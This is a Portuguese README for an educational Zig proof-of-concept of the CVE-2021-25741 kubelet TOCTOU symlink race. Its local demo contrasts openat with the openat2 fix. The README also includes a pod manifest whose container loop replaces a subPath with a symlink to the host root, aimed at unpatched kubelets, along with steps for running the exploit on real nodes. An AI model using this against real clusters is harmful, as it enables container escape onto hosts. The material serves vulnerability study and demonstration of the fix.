
CVE-2021-25741 POC in Zig
Exploit educacional da condição de corrida TOCTOU (Time Of Check, Time Of Use) que está na origem de CVE-2021-25741, uma vulnerabilidade no kubelet do Kubernetes.
O projeto demonstra localmente (sem cluster K8s) como uma troca concorrente de symlink pode contornar uma verificação de caminho entre lstat() e open(), e prova que openat2() com os flags RESOLVE_* é a solução.
Quando o kernel resolve um caminho como /a/b/c/file, ele o faz componente por componente. A cada etapa, se o componente for um symlink, o kernel o segue automaticamente. Essa resolução não é atômica — o filesystem pode mudar entre duas etapas.
O kubelet do Kubernetes fazia exatamente esse padrão vulnerável:
1. CHECK : lstat(subPath) → "é um diretório, é seguro"
↕ JANELA DE CORRIDA — um processo no container troca o diretório por um symlink
2. USE : mount(subPath) → segue o symlink, monta o filesystem do host
Entre a verificação e o mount, um processo malicioso no container podia substituir o subPath por um symlink para / do host, obtendo assim acesso completo ao filesystem do host.
O syscall openat2 (kernel 5.6+) resolve o caminho e abre o arquivo de forma atômica, com restrições:
Com openat2, não existe janela TOCTOU: se um symlink aparecer durante a resolução, o syscall falha imediatamente.
Duas threads cooperam para explorar a janela TOCTOU:
workdir/
├── legit_dir/
│ └── secret.txt → contém "LEGIT"
├── symlink_target/
│ └── secret.txt → contém "PWNED"
└── target/ → alternado entre dir real e symlink
Fica em loop ultrarrápido e alterna atomicamente target/ entre dois estados via renameat2(RENAME_EXCHANGE):
target/ é um diretório real (contém secret.txt = "LEGIT")target/ é um symlink para symlink_target/ (contém secret.txt = "PWNED")Um único syscall por troca = janela de corrida máxima.
Reproduz o padrão vulnerável do kubelet:
fstatat("target", AT_SYMLINK_NOFOLLOW) — verifica que é um diretórioopenat(dirfd, "target/secret.txt", O_RDONLY) — abre o arquivoread() — lê o conteúdo"PWNED" → race win (o symlink foi seguido)"LEGIT" → race loss (era mesmo o diretório real)Em modo protegido (--use-openat2), o passo 3 usa openat2 com RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. Se um symlink estiver presente, o kernel retorna ELOOP em vez de segui-lo.
src/
├── main.zig # Ponto de entrada: faz parse da CLI, cria o shared state, spawna
│ # as threads, mede o tempo, exibe os resultados
│
├── racer.zig # Thread racer: prepara o estado inicial (target → symlink),
│ # depois fica em loop com renameat2(RENAME_EXCHANGE) para alternar
│ # target/ e legit_dir/ continuamente
│
├── victim.zig # Thread victim: faz loop de N iterações de fstatat → delay →
│ # openat/openat2 → read → compara "LEGIT" vs "PWNED"
│
├── setup.zig # Cria a árvore de teste: workdir/, legit_dir/,
│ # symlink_target/, target/ com os arquivos sentinela
│
├── syscalls.zig # Constantes e wrappers para os syscalls raw:
│ # - struct open_how (UAPI do kernel, 3×u64)
│ # - flags RESOLVE_*
│ # - RENAME_EXCHANGE (= 2)
│ # - openat2() via linux.syscall4(.openat2, ...)
│ # - rename_exchange() via linux.renameat2()
│ # - Helpers : is_err(), to_errno(), to_fd()
│
└── stats.zig # Contadores atômicos lock-free (std.atomic.Value(u64))
# para wins, losses, errors, eloop + exibição formatada
Todos os syscalls são chamados via std.os.linux.* diretamente (sem wrappers std.fs ou std.posix). O único syscall sem wrapper na stdlib do Zig 0.15 é openat2, que é chamado via linux.syscall4(.openat2, ...) com uma struct open_how definida manualmente a partir dos headers UAPI do kernel.
| Ferramenta | Versão | Porquê |
|---|---|---|
| Zig | 0.15.x | Compilador + cross-compilação |
O binário é compilado como estático (musl libc) e roda em qualquer Linux sem dependências.
Kernel mínimo:
renameat2(RENAME_EXCHANGE)openat2 com RESOLVE_* (necessário apenas para --use-openat2)Docker Desktop e colima no Mac usam kernel 6.x — tudo é suportado.
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# x86_64 (para nodes x86)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
O binário está em zig-out/bin/race-exploit.
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked
# Iniciar o runtime Docker (se macOS)
colima start
# Executar o exploit (modo vulnerável por padrão)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000
# Modo vulnerável (openat) — a corrida funciona
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000
# Modo protegido (openat2) — a corrida é bloqueada
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --use-openat2
Ou com o script que executa os dois:
./scripts/run_in_docker.sh --iterations 10000
O parâmetro --delay-us adiciona um atraso entre o lstat (check) e o openat (use). Quanto maior o atraso, maior a janela TOCTOU e maior a taxa de vitória:
# Sem atraso — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000
# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 10
# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 100
# 1000µs (1ms) — win rate ~50% (limitado, o racer alterna muito mais rápido)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --delay-us 1000
Em um kubelet real, a latência entre a verificação do subPath e o bind mount é da ordem de vários milissegundos (chamadas de API, preparação do mount namespace, etc.), o que torna a corrida muito confiável em condições reais.
race-exploit [options]
--iterations N Número de tentativas (padrão: 10000)
--delay-us N Microssegundos entre lstat e open (padrão: 0)
--use-openat2 Usar openat2 com RESOLVE_* (modo protegido)
--workdir PATH Diretório de trabalho (padrão: /tmp/race-workdir)
--help Exibir ajuda
O exploit não precisa de Kubernetes para funcionar — é uma condição de corrida fundamental do Linux. Mas você pode executá-lo em um node real para testar nas mesmas condições do kubelet.
# Cross-compilar para a arquitetura do node
# ARM64 (EKS com Graviton, GKE com T2A, etc.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# ou x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
# Copiar o binário para o node
scp zig-out/bin/race-exploit user@node:/tmp/
# Executar no node
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100
# Verificar a versão do kernel (>= 5.6 para openat2)
ssh user@node uname -r
Criar um pod que embute o binário e o executa:
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: race-exploit
spec:
containers:
- name: race
image: alpine:latest
command: ["/app/race-exploit"]
args: ["--iterations", "50000", "--delay-us", "100"]
volumeMounts:
- name: exploit-bin
mountPath: /app
volumes:
- name: exploit-bin
hostPath:
path: /tmp # o binário deve ser copiado aqui antes
restartPolicy: Never
# Copiar o binário para o node primeiro
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit
# Executar o pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit
Para reproduzir o cenário exato de CVE-2021-25741, é necessário explorar a corrida enquanto o kubelet prepara um bind mount de um volume com subPath:
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: subpath-race
spec:
containers:
- name: attacker
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
# Este script roda no container e alterna o subPath
# enquanto o kubelet prepara o mount
while true; do
rm -rf /vol/subdir
ln -s / /vol/subdir
mkdir -p /vol/subdir
done
volumeMounts:
- name: shared-vol
mountPath: /vol
subPath: subdir # ← o kubelet verifica e depois monta este caminho
volumes:
- name: shared-vol
emptyDir: {}
Importante : este ataque só funciona em kubelets não corrigidos (versões < 1.22.2, < 1.21.5, < 1.20.11). Kubelets recentes usam openat2 com RESOLVE_NO_SYMLINKS para resolver o subPath.
Para verificar se o seu kubelet está vulnerável:
# Versão do kubelet
kubectl get nodes -o wide
# Verificar se openat2 é usado no kubelet (no node)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat (vulnerable)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3749
Race wins: 940 (25.07%)
Race losses: 2809 (74.93%)
Errors: 0 (0.00%)
Duration: 14ms
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat2 (protected)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3105
Race wins: 0 (0.00%)
Race losses: 2283 (73.53%)
Errors: 0 (0.00%)
ELOOP (blocked): 822 (26.47%)
Duration: 12ms
Observações-chave:
lstat vê um symlink e não tenta o open)openat, ~25% das tentativas resultam em win (o arquivo "PWNED" é lido)openat2, 0% de wins — cada tentativa em que o racer alternou é detectada pelo kernel, que retorna ELOOPO arquivo define as constantes ausentes na stdlib do Zig 0.15:
// renameat2(2) : troca atômica de duas entradas do filesystem
pub const RENAME_EXCHANGE: u32 = 2;
// openat2(2) : struct passada ao syscall
pub const open_how = extern struct {
flags: u64 = 0, // O_RDONLY, O_WRONLY, etc.
mode: u64 = 0, // permissões (se O_CREAT)
resolve: u64 = 0, // flags RESOLVE_*
};
// Flags de resolução para open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // recusa qualquer symlink
pub const RESOLVE_BENEATH: u64 = 0x08; // proíbe subir acima do dirfd
openat2 é chamado via linux.syscall4(.openat2, ...) porque o Zig 0.15 tem o número do syscall, mas não um wrapper.
Na inicialização, transforma target/ em um symlink para symlink_target/ e depois fica em loop com dois renameat2(RENAME_EXCHANGE) que alternam target e legit_dir:
Iteração 1: target=dir, legit_dir=symlink ← victim vê um dir, abre normalmente
Iteração 2: target=symlink, legit_dir=dir ← victim segue o symlink → PWNED
Reproduz lstat → delay → openat/openat2 → read → compara. Os resultados são contados em contadores atômicos lock-free (fetchAdd com ordering .monotonic).
Cria a árvore com mkdirat, openat(O_CREAT) e write — todos via raw syscalls. Dois arquivos sentinela: "LEGIT" no diretório real, "PWNED" no alvo do symlink.
# Rastrear todos os syscalls das duas threads
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f /app/race-exploit --iterations 100
# Filtrar os syscalls interessantes
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
/app/race-exploit --iterations 100
# Ver os ELOOP de openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat2 \
/app/race-exploit --iterations 100 --use-openat2
Nota: strace não é instalado por padrão no Alpine. Use alpine:edge ou instale com apk add strace:
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"
| Flag | Efeito |
|---|
RESOLVE_NO_SYMLINKS | Recusa seguir qualquer symlink → retorna ELOOP |
RESOLVE_BENEATH | Recusa sair do diretório base → retorna EXDEV |
RESOLVE_IN_ROOT | Trata o dirfd como a raiz do filesystem |
RESOLVE_NO_XDEV | Recusa atravessar pontos de montagem |
| Docker | qualquer | Para executar o binário Linux no Mac |
| colima | qualquer | Runtime Docker no macOS (ou Docker Desktop) |
| Syscall | Papel no exploit | Wrapper Zig |
|---|
renameat2(RENAME_EXCHANGE) | Troca atômica target ↔ legit_dir | linux.renameat2() |
fstatat(AT_SYMLINK_NOFOLLOW) | lstat : verifica se target é dir ou symlink | linux.fstatat() |
openat(O_RDONLY) | Abre o arquivo seguindo symlinks (vulnerável) | linux.openat() |
openat2(RESOLVE_NO_SYMLINKS) | Abre o arquivo recusando symlinks (fix) | linux.syscall4(.openat2, ...) |
symlinkat | Cria o symlink inicial target → symlink_target | linux.symlinkat() |
unlinkat | Remove target antes de recriá-lo como symlink | linux.unlinkat() |
mkdirat | Cria os diretórios de teste | linux.mkdirat() |
read / write / close | IO nos arquivos sentinela | linux.read() / linux.write() / linux.close() |